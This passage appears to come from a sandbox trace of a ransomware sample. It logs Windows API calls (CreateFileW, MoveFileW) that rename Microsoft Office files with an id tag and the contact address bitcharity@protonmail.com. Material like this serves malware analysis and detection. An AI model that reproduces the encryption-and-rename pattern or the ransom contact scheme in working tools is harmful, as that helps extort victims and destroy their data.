office\\root\\office16\\forms\\1033\\taskacc.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.334] CloseHandle (hObject=0x1078) returned 1 [0269.335] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.335] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKACCL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskaccl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.335] CloseHandle (hObject=0x1078) returned 1 [0269.337] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.337] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKACCS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskaccs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.337] CloseHandle (hObject=0x1078) returned 1 [0269.338] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.338] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKDEC.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskdec.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.339] CloseHandle (hObject=0x1078) returned 1 [0269.340] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.340] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKDECL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskdecl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.341] CloseHandle (hObject=0x1078) returned 1 [0269.343] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.343] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKDECS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskdecs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.343] CloseHandle (hObject=0x1078) returned 1 [0269.344] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.344] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.345] CloseHandle (hObject=0x1078) returned 1 [0269.346] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.346] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKREQ.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskreq.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.347] CloseHandle (hObject=0x1078) returned 1 [0269.348] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.348] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKREQL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskreql.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.348] CloseHandle (hObject=0x1078) returned 1 [0269.350] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.350] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKREQS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskreqs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.350] CloseHandle (hObject=0x1078) returned 1 [0269.351] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.351] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\tasks.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.352] CloseHandle (hObject=0x1078) returned 1 [0269.355] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.355] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKUPD.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\taskupd.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.355] CloseHandle (hObject=0x1078) returned 1 [0269.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkexcel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKExcel.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkexcel.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkpowerpoint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKPowerPoint.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkpowerpoint.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkword.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GKWord.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkword.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.361] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.361] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Graph.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.362] CloseHandle (hObject=0x1270) returned 1 [0269.363] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.363] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\graph.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.363] CloseHandle (hObject=0x1270) returned 1 [0270.539] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.539] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ALERT.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\alert.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.813] CloseHandle (hObject=0x1078) returned 1 [0270.969] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.969] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7FR.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7fr.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.970] CloseHandle (hObject=0x1078) returned 1 [0270.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7FR.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7FR.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7fr.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msth8en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8EN.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msth8en.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8ES.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msth8es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8ES.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msth8es.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8FR.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msth8fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8FR.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msth8fr.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PSTPRX32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pstprx32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PSTPRX32.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pstprx32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.982] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.982] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB10.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub10.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.982] CloseHandle (hObject=0x1078) returned 1 [0270.983] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.983] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB11.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub11.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.983] CloseHandle (hObject=0x1078) returned 1 [0270.984] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.984] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB1A.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub1a.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.985] CloseHandle (hObject=0x1078) returned 1 [0270.988] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.989] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB1B.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub1b.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.989] CloseHandle (hObject=0xff0) returned 1 [0270.990] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.990] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB2A.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub2a.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.990] CloseHandle (hObject=0xff0) returned 1 [0270.991] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.991] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB2B.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub2b.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.992] CloseHandle (hObject=0xff0) returned 1 [0270.993] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.993] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB3A.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub3a.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.993] CloseHandle (hObject=0xff0) returned 1 [0270.994] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.994] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB3B.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub3b.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.994] CloseHandle (hObject=0xff0) returned 1 [0270.996] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.997] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB4.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub4.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.997] CloseHandle (hObject=0xff0) returned 1 [0270.998] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.998] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0270.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB5A.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub5a.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.999] CloseHandle (hObject=0xff0) returned 1 [0271.000] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.000] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB5B.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub5b.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.000] CloseHandle (hObject=0xff0) returned 1 [0271.004] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.004] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB6.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub6.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.005] CloseHandle (hObject=0xff0) returned 1 [0271.006] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.006] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 